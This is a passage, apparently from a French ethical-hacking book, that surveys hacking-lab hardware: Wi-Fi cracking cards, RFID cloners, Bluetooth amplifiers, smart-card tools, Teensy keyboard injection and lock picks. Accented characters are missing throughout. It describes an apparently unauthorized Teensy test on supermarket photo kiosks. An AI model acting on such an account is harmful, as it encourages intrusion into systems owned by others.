Le war (wireless access research) consiste rechercher dune manire ou dune autre (en
marchant : walking, en conduisant : driving ou autre) des accs des matriels wireless.
Il faut aussi se dire que nous raisonnons en tant que citoyens dans un pays dit industrialis,
mais si nous nous promenons dans dautres pays, nous nous apercevons vite que certaines
technologies anciennes sont encore trs prsentes.
2. PirateBox


Les PirateBox sont lorigine destines changer librement des donnes du domaine public
ou sous licence libre. Nous pouvons trouver sur Internet plusieurs vidos qui expliquent
comment fabriquer sa PirateBox pour moins de 100 euros.
Le but est davoir un rseau temporaire de partage de fichiers. Lide est signe par David
Darts.
Il suffit de prendre un routeur sans fil, un serveur Linux et un code mis disposition sous une
Free Art License (FAL 1.3) ; comprenez que linvention peut tre copie, diffuse, modifie
gratuitement selon le principe du copyleft.
Facile utiliser, PirateBox permet, une fois allume, dutiliser un rseau Wi-Fi ouvert et de le
transformer en un espace de partage de fichiers. Les utilisateurs peuvent joindre le rseau
PirateBox ouvert partir de tout appareil compatible Wi-Fi.
Plusieurs projets pdagogiques les utilisent pour offrir des contenus des lves ou des
tudiants et leur permettre dchanger par chat ou forum.
Dailleurs, beaucoup de personnes telles que Damien Bancal du clbre site ZATAZ.com se
promnent constamment avec elle, et ce, dans tous les pays.
Mais la PirateBox est aussi utilise dans des lieux o linstallation dInternet est quasi
impossible.
Il existe dailleurs un projet visant fournir des villages dAfrique de quoi changer des
donnes mais aussi stocker des informations comme une bibliothque, des ouvrages de
mdecine ou des manuels scolaires.
la base un projet comme tant dautres, la PirateBox a eu un trs fort engouement sur les
rseaux sociaux (#PirateBox), relay par des comptes influents et par la presse (Voix du Nord,
Numerama, Toms Guide, Zataz, etc.) ainsi que par toute une longue srie de blogs.
Sa technologie est en constante volution et avec les nouveaux matriels qui arrivent sur le
march tels que le RaspberryPI, avec encore plus de mmoire, de puissance et de possibilit
dextension, son utilisation ne sera que croissante.
Un autre usage envisag consiste fournir un quartier puis une ville un rseau parallle
permettant aux habitants dchanger des informations comme la date dune runion de
quartier, celle de la prochaine brocante, ou celle dun vnement quelconque. La PirateBox
permet aussi de discuter en temps rel via son service de messagerie instantane.
Nous pouvons rencontrer ce dernier cas dans de nombreuses rsidences dtudiants.
Lutilisateur se connecte en Wi-Fi la PirateBox sans avoir renseigner un mot de passe
(mais il est tout fait possible den mettre un), et peut ensuite tlcharger ou dposer des
fichiers.
Nous navons plus aucun moyen de dtection distant (il faut tre dans lenvironnement proche
de la PirateBox, si celle-ci bien sr nest pas relie Internet).
Nous pouvons aussi poster des messages sur le forum (disponible directement sans autre
configuration) ou utiliser le systme de messagerie instantane disponible.
Cest donc un outil trs utilis et utile pour ltudier ou en fabriquer avec dautres matriels
par exemple.
3. Wifi-Box


La Wifi-Box est en fait une carte Wi-Fi USB quipe dune puce Realtek 8187 qui possde
une porte de rception 10 fois suprieure celle dune carte Wi-Fi standard (selon le
constructeur), qui couvre 2,4 GHz et qui respecte la norme 802.11g3.
Comme pour le kit dcrit plus haut, cest un matriel de type Alfa qui est interdit en France (si
la puissance est suprieure 500 mW).
Il faut brancher la box sur le port USB du PC et booter avec le CD dutilitaires fourni pour
cracker du WEP.
Le CD est en fait une BackTrack 3 bootable sur laquelle le fabricant a intgr doffice le
module Spoonwep2. Ce module nest rien dautre quun frontend aircrack dont nous avons
parl plus haut.
Il existe aussi Spoonwpa2 pour le WPA qui permet de trouver une cl via une attaque par
brute force ou dictionnaire mais il semblerait que la Wifi-Box ne fonctionne pas pour cela
ainsi que pour du WPA-PSK ou WPA2.

4. Routeur Wi-Fi


Nous aurons aussi besoin dun routeur Wi-Fi. Nous conseillons un routeur Linksys avec DD-
WRT.
DD-WRT est un firmware alternatif open source bas sur Linux et adapt une grande varit
de routeurs WLAN et de systmes embarqus. Le principal atout est de fournir la
manipulation la plus simple possible tout en ayant en mme temps un grand nombre de
fonctionnalits.
Linterface utilisateur graphique est logiquement structure, et elle est exploite via un
navigateur web standard, de sorte que mme les non-techniciens peuvent configurer le
systme en quelques tapes simples.
Outre le maniement simple, la vitesse et la stabilit font galement partie de lobjectif du
travail de dveloppement. Par rapport au logiciel prinstall sur de nombreux routeurs
WLAN, DD-WRT permet un fonctionnement fiable avec une fonctionnalit nettement plus
importante que demandent galement les exigences de dploiement professionnel.
La communaut dutilisateurs offre du soutien aux dveloppeurs DD-WRT ainsi que les
utilisateurs eux-mmes de diffrentes manires. Les failles potentielles dans le systme
peuvent tre dtectes trs rapidement et peuvent donc tre corriges sans dlai. Les
utilisateurs DD-WRT peuvent trouver de laide et des conseils dautres utilisateurs sur les
forums dutilisateurs et le Wiki contient des informations supplmentaires et des guides
pratiques, il est maintenu par la communaut DD-WRT.
Pour les appareils utiliss principalement des fins prives, DD-WRT est
disponible gratuitement. Les plates-formes utilises des fins commerciales ncessitent une
licence payante. Par rapport la version librement disponible, la version professionnelle
permet galement de configurer les paramtres sans fil, ouvrant ainsi la possibilit de crer
par exemple des infrastructures de rseau fiables et performantes. Des exigences particulires
peuvent tre satisfaites par des versions spcialement adaptes de DD-WRT.
Principales caractristiques :
Prise en charge de plus de 200 appareils diffrents.
Fonctionnalits compltes.
Prise en charge de tous les standards WLAN actuels (802.11a/b/g/n ).
Intgration VPN.
Prise en charge de divers systmes de Hotspot.
Gestion de la bande passante.
Interface utilisateur multilingue.
DD-WRT jusqu la version v22 tait fonde sur le micrologiciel Alchemy de Sveasoft, qui
lui-mme tait fond sur la version originale du micrologiciel Linksys. DD-WRT depuis la
version v23 a t presque intgralement rcrit.
5. Wi-Fi Alfa USB


Une premire version de lAlpha, lAlpha 500 de la socit Alpha Network, est sortie en 2007
et tait bride 500 mW. En 2009, une nouvelle version avec une puissance de 1000 mW
(soit 30 db) et une sensibilit de -99 dBm a vu le jour, lAlpha Network Awus036h.
La sensibilit est le choix vident pour les pirates Wi-Fi. Elle supporte le 802.11 b/g/n et
embarque un chipset Atheros AR9271, un chipset aliment par USB, et offre trois modes sans
fil (manage, adhoc, monitor). Reconnue par les systmes dexploitation rcents (y compris
BackTrack 5 R1), elle peut aussi tre utilise dans une machine virtuelle en passant bien sr
par lUSB.
Depuis la version de firmware 2.2.0, elle peut tre utilise pour les attaques deauth (attaque
qui dsauthentifie les personnes connectes) et bien plus encore.
Elle est parfaite pour une utilisation avec la suite aircrack-ng, les modules sans fil Metasploit,
kismet et dautres utilitaires de pentesting.
Spcifications matrielles :
Atheros chipset 9271
802.11 b/g/n 150 Mbps
canaux de 2,400 2,487 GHz 1-14
28 dBm txpower
RFID
1. Distribution Linux
Nous retrouvons de nos jours les technologies RFID (Radio-Frequency IDentification) un peu
partout dans notre quotidien. Le gros inconvnient pour le moment est le manque de scurit,
non pas de la technologie, mais de lutilisation que lon en fait ou de la manire de lexploiter.
Nos badges daccs, les antivols dans les magasins, les passeports, les puces didentification
de nos animaux domestiques, les jouets, entre autres, utilisent le RFID.
Un groupe de dveloppeurs a donc dcid de crer une distribution bootable base de Fedora,
la RFID Live Hacking System . Disponible sous la forme dun fichier ISO de 663 Mo, la
distribution est capable de fonctionner depuis un CD et ncessite un processeur x86-64
(attention donc aux anciens systmes).
Elle intgre quelques outils pour rcuprer des informations sur des priphriques RFID, avec
bien videmment laide dun lecteur adapt ; nous pouvons en trouver partir dune vingtaine
deuros. Nous trouvons aussi des outils pour lire et rcuprer des informations dans les cartes
de type Mifare , utilises par exemple dans les htels, dans certains rseaux de transports
en commun, etc.

Il faudra bien sr acheter le matriel correspondant que nous allons voir par la suite mais nous
pouvons fabriquer nous-mmes des lecteurs.


Exemple de schma de circuit lectronique trouv sur le Net

Schma de circuit lectronique normalis
Lhomme est aussi depuis quelques annes implant . Dans certains pays, la loi lautorise
et rcemment une universit amricaine a impos pour ses tudiants limplant RFID pour une
question de scurit .
Dautres utilisations en sont faites sur lhomme :
Le contrle daccs pour les militaires.
Le suivi des malades mentaux.
Le paiement rapide dans les bars.
Linjection de limplant se fait principalement dans la main (paiement) ou dans le bras.
Le RFID est donc partout et se dveloppe normment.
2. Nabaztag
Si nous souhaitons avoir du matriel RFID bon march, nous allons nous diriger vers les
jouets comme le Nabaztag.
Le Nabaztag (mot armnien pouvant tre traduit par livre ) est un objet communicant
reprsentant un lapin. Il est lanc en juin 2005 puis en 2006, il sort dans sa version avance :
le Nabaztag:tag.
Nous pouvons nous le procurer bien sr sur le site officiel mais aussi sur un site de vente aux
enchres. Il est fourni avec un lecteur dans le lapin et avec des tags.

Un tag RFID est une balise mtallique contenant des informations (allant dun identifiant
des donnes personnelles).

3. Proxmark3
Lidal est dacqurir le proxmark3, un outil qui permet de lire, dcrire, de sniffer et de
copier des cartes RFID.
Le proxmark3 est un outil RFID formidable, dune taille trs raisonnable. Nous pourrons nous
amuser avec les frquences de 125 kHz et 13.56 MHz.

Il est possible avec ce matriel de cloner des cartes RFID, cest--dire, partir dune carte du
commerce, den refaire une sur une carte vierge.
Nous pourrons aussi lire les puces RFID, les crire, tudier le contenu des tags
De nombreuses possibilits soffrent nous et de nombreux tutoriaux et vidos en parlent.
Des confrences sont aussi ddies ce matriel comme au hacknowledge-contest Europe
Afrique (http://www.hacknowledge-contest.org) o Sbastien Lasson de lassociation
ACISSI fait un tour des cartes puce et RFID pour terminer par lutilisation du proxmark, ce
dernier tant un thme du laboratoire Recherche et Dveloppement de lassociation.
4. Lecteur de cartes RFID 125 KHz
Moins coteux que le proxmark, ce lecteur qui ne travaille que sur une frquence de 125 KHz.
Nous pouvons lire sur le site du revendeur : le lecteur lectronique RFID 125 KHz est un
module utilis pour lire des informations uem4100 avec deux formats de sortie : UART et
Wiegand. Il a une sensibilit leve avec une distance maximum de dtection de 7 cm. Les
quatre pins de linterface lectronique le rendent facile utiliser avec un Arduino ou un
teensy.
Format de sortie slectionnable : Uart ou Wiegand
Quatre interfaces
Haute sensibilit
Caractristiques principales :
Tension dalimentation : 5 V
Distance maximale de dtection : 7 cm
UART de sortie : sortie TTL, 9600 baudrate, 8 bits de donnes, 1 bit darrt, pas de
bits de vrification.
Sortie Wiegand : 26 bits au format Wiegand, 1 bit de vrification, 24 bits de donnes
et 1 bit de parit.

5. Fabriquer soi-mme
Il est toujours possible de tout fabriquer soi-mme ; Elektor fournit par exemple de bons
montages. Sur le site suivant, nous retrouvons la dmarche complte de fabrication dun
lecteur RFID avec fabrication des antennes :
http://78.229.172.208/ELEKTOR/RFID_EXPERIMENTAL.html


Bluetooth
Une autre manire de communiquer sans fil est bien sr le Bluetooth. Nos ordinateurs, nos
smartphones, nos GPS et autres utilisent le Bluetooth. Mais il est rare que par dfaut le
matriel soit trs puissant. Il existe heureusement beaucoup de matriels Bluetooth
disponibles sur la toile.
1. Adaptateur Bluetooth
Si vous ne disposez pas de Bluetooth intgr, il existe de nombreuses cls USB Bluetooth.
Voici ci-dessous un exemple parmi tant dautres.

2. Ubertooth
Le Ubertooth One est un projet open source dune plate-forme de dveloppement sans fil
2,4 GHz pour ltude du Bluetooth de Michael Ossmann. Il sagit du premier contrleur
Bluetooth abordable par tout un chacun qui peut tre utilis pour la surveillance de
connexions Bluetooth et pour le dveloppement de nouvelles technologies Bluetooth et sans
fil. Bas sur le microcontrleur LPC175x ARM Cortex-M3 avec un USB full-speed USB 2.0,
lUbertooth One est le meilleur moyen de dvelopper des priphriques Bluetooth Class 1
customiss, et l aussi cest du hacking. Il possde un connecteur USB-A et un connecteur
RP-SMA.
Rien dquivalent na jamais t commercialis comme matriel Bluetooth de hacking avant
Ubertooth One, une plate-forme entirement open source (matriel et logiciel).
Les schmas et codes sources sont disponibles pour tous nos besoins en hacking

3. Transmetteur Bluetooth
Le AIRcable Host XR de Wireless Cables, amplificateur de signal, peut atteindre une porte
de 30 km sil est install par un professionnel, grce une antenne directionnelle 18 dBi. Tout
ce que nous avons faire, cest de brancher le AIRcable Host XR un port USB dun
ordinateur et cest prt. Il est compatible avec Linux, Mac et Windows, et il supporte
pratiquement tous les profils Bluetooth disponibles. Comme le AIRcable Host XR est
aliment par bus, il ny a pas besoin dun adaptateur secteur.

Nous pouvons aisment voir les possibilits dexploitation de ce matriel, nous pourrions en
thorie distance rcuprer les signaux des oreillettes Bluetooth, des smartphones, des PC...

Cartes puce
Les cartes bancaires ne sont pas scurises, cest bien connu.
Il suffit de rechercher sur Internet et nous trouvons les failles dcouvertes sur cette
technologie.
Par exemple, une tude mene par luniversit de Cambridge dmontre la faiblesse de celles-
ci : http://www.numerama.com/magazine/17684-cambridge-refuse-de-censurer-une-these-sur-
l-insecurite-des-cartes-bancaires.html

Nous pouvons aussi nous reporter ltude de Renaud Lifchitz sur les failles RFID des
nouvelles cartes bancaires : http://www.pcinpact.com/news/70412-cartes-paiement-sans-
contact-defaut-securisation.htm
Nous aurons donc besoin aussi de matriel...
1. Lecteur de cartes puce
Les lecteurs de cartes puce en vente sur le web sont multiples et les prix varient en fonction
du fabricant et de la technologie. Mais on peut pour un prix trs raisonnable se procurer un
lecteur.
Tous les lecteurs de cartes puce sont capables dcrire dans les cartes puce, pour peu que
ces dernires lautorisent.

Si nous utilisons des cartes vierges telles que les cartes Gold, Silver, Fun ou Jupiter, il nous
faut un programmateur qui va programmer le microcontrleur de la carte et/ou sa mmoire
EEPROM, au moins pendant la phase de dveloppement de notre application. Une fois cette
carte programme, et si nous avons crit un programme compatible des normes ISO 7816 3 et
4, un lecteur classique pourra ensuite tre utilis pour lire et crire dans notre carte.
Si nous utilisons des cartes personnalisables comme les cartes ACOS 1 ou 2 ou encore des
cartes puce OS ouvert comme la Basic Card que nous verrons dans la section suivante, un
lecteur classique suffit.
Le programmateur nest ncessaire que pour les cartes initialement vierges car elles ne
peuvent pas dialoguer avec quoi que ce soit dans cet tat.
2. Basic Card
La Basic Card est une carte OS ouvert, cest--dire quelle contient un microcontrleur
programm avec un interprteur de P code. Ce qui est plus original, cest que ce P code
provient du rsultat de la compilation par loutil de dveloppement dun programme crit en
Basic.
Le Basic se rapproche plus du C que du GWBasic des premiers PC.
Cest cette simplicit de programmation qui fait une partie de lintrt de la Basic Card. En
effet, si nous savons ce quest une carte puce, il ne nous faudra que quelques heures pour
arriver dvelopper une application oprationnelle.
De trs bons livres dont ceux de Patrick Gueule expliquent en dtail le fonctionnement des
cartes puce et expliquent la programmation grce Basic des cartes puce.
Autre intrt majeur de cette approche : loutil de dveloppement ncessaire est totalement
gratuit. Il peut tre librement tlcharg sur le site Internet spcialement consacr la Basic
Card, ladresse www.basiccard.com
Nous pouvons utiliser le langage Basic que ce soit pour programmer la carte ou aussi pour
dvelopper lapplication du ct terminal qui utilisera la carte.
Il nest donc pas ncessaire dapprendre ou dutiliser un nouveau langage pour programmer
lapplication ct lecteur.
Enfin, loutil de dveloppement intgre un simulateur de carte qui nous permet, sans possder
le moindre lecteur ni la moindre carte, de tester notre application. La rubrique tutoriels du
site nous prsente dailleurs quelques exemples dutilisation de ce remarquable outil.

Pour nous donner une ide de la structure dun programme, voici un petit exemple :
DefByte I-R toute variable commenant par une lettre de I R
est de type Byte
Private Iter type Byte
Public Radius! = 1 type Single, affectation avec conversion
Public Pistr$ = "3.1416"
Public Pi As Single = Val!(Pistr$)
Eeprom S1 As String*5 = "ABC" complt avec des octets NULL
Public S2 As String*3 = &H81, &H82, &H83
Private S3 As String*7 = 3, 4, "XYZ" = 3, 4, 88, 89, 90, 0, 0
Eeprom CustomerName$ = ""
Eeprom Balance& = 500
For J=1 to 8 Do J=J+1 J est declare implicitement et est de type Byte
Cartes magntiques
Les cartes magntiques sont aussi trs rpandues et encore trs utilises, surtout dans dautres
pays que la France.
Une carte bande magntique est une carte capable de stocker des donnes en modifiant le
magntisme de minuscules particules base de fer sur une bande de matriau sur la carte.
Nous avions il y a encore quelques annes des cassettes bandes que nous mettions dans
notre poste radio ou notre walkman, mot qui pour les moins de 30 ans ne doit plus rien dire
(disons une sorte de lecteur mp3 mais bande magntique).
La bande magntique de la carte, parfois appele piste magntique, est lue par une tte de
lecture magntique.
Nous pouvons dailleurs crer un lecteur de cartes magntiques grce des lecteurs de
cassettes que nous pouvons encore trouver sur des sites denchres ou dans les brocantes pour
quelques euros. Les schmas de montages et explications se trouvent sur le web facilement.
Linvention date de la seconde guerre mondiale pour lenregistrement audio. Dans les annes
1950, lenregistrement magntique des donnes informatiques numriques sur bande de
plastique recouverte doxyde de fer a t invent. En 1960, IBM a utilis la bande magntique
afin de dvelopper un moyen fiable dobtenir des bandes magntiques sur des cartes
plastiques, en vertu dun contrat avec le gouvernement amricain pour un systme de scurit.
Beaucoup de normes ont t dites afin de standardiser lutilisation de ces cartes. Tout y est
dfini :
Les proprits physiques de la carte.
La taille.
La flexibilit.
Lemplacement de la piste magntique.
Les caractristiques magntiques des formats de donnes.
Les organismes de normalisation fournissent galement des normes pour les cartes
financires, y compris la rpartition des plages de numros de carte entre diffrents instituts
dmission.

Autres matriels
Dautres matriels vont nous tre trs utiles car ils sont programmables souhait. Nous
pourrons avec eux simuler un clavier sur un port USB, effectuer des brutes forces
automatiques, fabriquer des pirates box.
1. Arduino
Sur le site Arduino, http://www.arduino.cc/, nous pouvons lire :
Le systme Arduino est un outil pour fabriquer de petits ordinateurs qui peuvent capter et
contrler davantage de choses du monde matriel que votre ordinateur de bureau.
Cest une plate-forme open source dlectronique programme qui est base sur une simple
carte microcontrleur (de la famille AVR), et un logiciel, vritable environnement de
dveloppement intgr, pour crire, compiler et transfrer le programme vers la carte
microcontrleur.
Arduino peut tre utilis pour dvelopper des objets interactifs, pouvant recevoir des entres
dune grande varit dinterrupteurs ou de capteurs, et pouvant contrler une grande varit
de lumires, moteurs ou toutes autres sorties matrielles. Les projets Arduino peuvent tre
autonomes, ou bien ils peuvent communiquer avec des logiciels tournant sur votre ordinateur
(tels que Flash, Processing ou MaxMSP). Les cartes lectroniques peuvent tre
fabriques manuellement ou bien tre achetes prassembles ; le logiciel de dveloppement
open source peut tre tlcharg gratuitement.
Le langage de programmation Arduino est une implmentation de Wiring, une plate-forme de
dveloppement similaire, qui est base sur lenvironnement multimdia de programmation
Processing.

LArduino est assez simple de prise en main. Sa programmation est un pseudolangage C.
Lexemple suivant nous montre la structure dun programme.
void setup() {
Serial.begin(9600); // initialise la communication srie
// vrifier que le dbit utilis est le mme dans le terminal
srie
}

void loop() {
int sensorValue = analogRead(A0); // lit la valeur analogique
// sur la broche A0 et met le rsultat dans la variable

Serial.println(sensorValue, DEC); // affiche la variable dans
le terminal srie

}
Nous voyons quil ny a rien de trs compliqu. LArduino est par exemple utilis dans la
fabrication dune imprimante 3D, dans des robots comme la coupe de robotique diffuse par
E=M6 il y a quelques annes et dans bien dautres applications.
2. Teensy
Le Teensy est un des premiers matriels low cost comportant un processeur qui nous a
permis nos premiers hacks hardwares. Il est aussi utilis dans certains hacks de consoles
de jeux par exemple.
Le Teensy est un stick sur une base dAVR AT90USB1286 de Atmel, peine plus grand
quune Arduino pro mini, et programmable avec lIDE Arduino.
Nous pouvons acheter un botier qui le fera ressembler une cl USB et qui le rendra donc
beaucoup moins visible pour des utilisations en socit.
Il a la particularit davoir un port USB hardware (device only) compatible avec la librairie
LUFA.
Le Teensy est programmable soit avec lIDE Arduino, soit avec le langage C pur .
Une des ides que nous avions eues tait de tester les bornes de dveloppement photo places
surtout dans les grandes surfaces.
Nous avions donc programm le Teensy en clavier USB qui ouvrait le menu Dmarrer et qui
lanait la console DOS. Ensuite nous faisions un ipconfig /all puis un ping sur une adresse
interne pour finir par un ping sur une adresse externe. Et tout cela en mode automatique.
Voici un exemple de programme :
// press and hold CTRL
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();

// press ALT while still holding CTRL
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
Keyboard.send_now();

// press DELETE, while CLTR and ALT still held
Keyboard.set_key1(KEY_DELETE);
Keyboard.send_now();

// release all the keys at the same instant
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();



Lock picking
Daprs Wikipdia : Le crochetage est une technique douverture de serrure dite fine .
Cela signifie quelle permet douvrir la serrure laide doutils spcifiques appels crochets
ou parapluies sans dtruire la serrure. Le crochetage inclut louverture de tous les types de
serrures, y compris cls magntiques ou lectroniques.
Pourquoi cela ici ? Parce que le lock picking ou crochetage fait partie du hacking et de
larsenal du pirate. Il sen sert pour arriver physiquement face lordinateur cible.
Le kit de lockpicking est totalement interdit en France sauf pour les serruriers.
Mais pour une utilisation en laboratoire, sans jamais le sortir et voyager avec, il permet
dtudier ces techniques et dessayer bien sr de trouver des contre-mesures.


Carte SIM
Avec le lecteur de cartes SIM, nous pouvons facilement grer les donnes de lannuaire de
notre carte SIM GSM et rgulirement crer une copie de sauvegarde des donnes en cas de
perte ou de mise niveau du tlphone. Le lecteur de cartes SIM est un lecteur USB de
gestion des cartes SIM pour tlphones portables, galement compatible avec les cartes
UMTS USIM de la troisime gnration de la tlphonie mobile. Il fait galement office de
lecteur de cartes puce compatible PC/SC (Personal Computer/Smart Card) pour les
applications de scurit PC, compatible avec tous les types de cartes puce aujourdhui
disponibles sur le march.

Rcupration de donnes
Il est aussi ncessaire de pouvoir effectuer des rcuprations de donnes.
1. Adaptateur USB vers SATA et IDE
Nous aurons souvent besoin de rcuprer rapidement les donnes dun disque dur via lUSB.
Il existe pour cela des adaptateurs peu coteux.

2. Bloqueur dcriture
Un bloqueur est un priphrique informatique permettant un ordinateur de consulter le
contenu dun support numrique (disque dur, carte mmoire...) sans en modifier le contenu.
Sur le site http://www.ibou.fr/forensic/page6/page6.html, nous pouvons par exemple trouver
le UF2PSATA22.
Le UF2PSATA22, par exemple, est un bloqueur externe USB 2 et FireWire 400 (ct PC
danalyse) pour disques durs SATA et ATA 3,5". Ce bloqueur dispose dun commutateur
pour activer la fonction lecture/criture ou lecture seule. Pratique pour analyser le contenu
dun disque sans avoir le retirer de la machine.

3. Bus Pirate
Bus Pirate est un outil faisant communiquer nimporte quel priphrique avec un ordinateur,
via la plupart des protocoles standard incluant I2C, SPI et UART, une tension comprise
entre 0 et 5,5V DC.
Il est particulirement utile dans les phases de prototypage, de dpannage ou lors dutilisation
de matriels inconnus.
Cest pourquoi il va nous tre trs utile pour faire du reverse engineering, pour dterminer le
protocole de communication entre deux matriels ou pour surveiller un dialogue.
La version 4 est la dernire gnration de carte Bus Pirate. Encore au stade exprimental, elle
nest pas aussi stable que les versions prcdentes. La version Bus Pirate V3, moins chre,
plus stable et aux fonctionnalits gnrales similaires, est recommande pour les nouveaux
utilisateurs.

Conclusion
Nous venons de faire un tour, comme dit en introduction, non exhaustif du matriel
ncessaire.
Certains matriels sont peu coteux mais les prix peuvent vite grimper. Nous navons pas
parl par exemple de lUSRP, matriel trs utile mais dun prix suprieur 2000 euros.
Ce matriel ne sacquiert pas bien sr ds le premier mois de fabrication du laboratoire mais
petit petit. Lachat de tout ce qui est dcrit dans ce chapitre nous a pris plusieurs annes.
Il sera aussi ncessaire davoir dautres appareils : oscilloscope numrique, analyseur de
spectre, multimtre, fer souder, composants...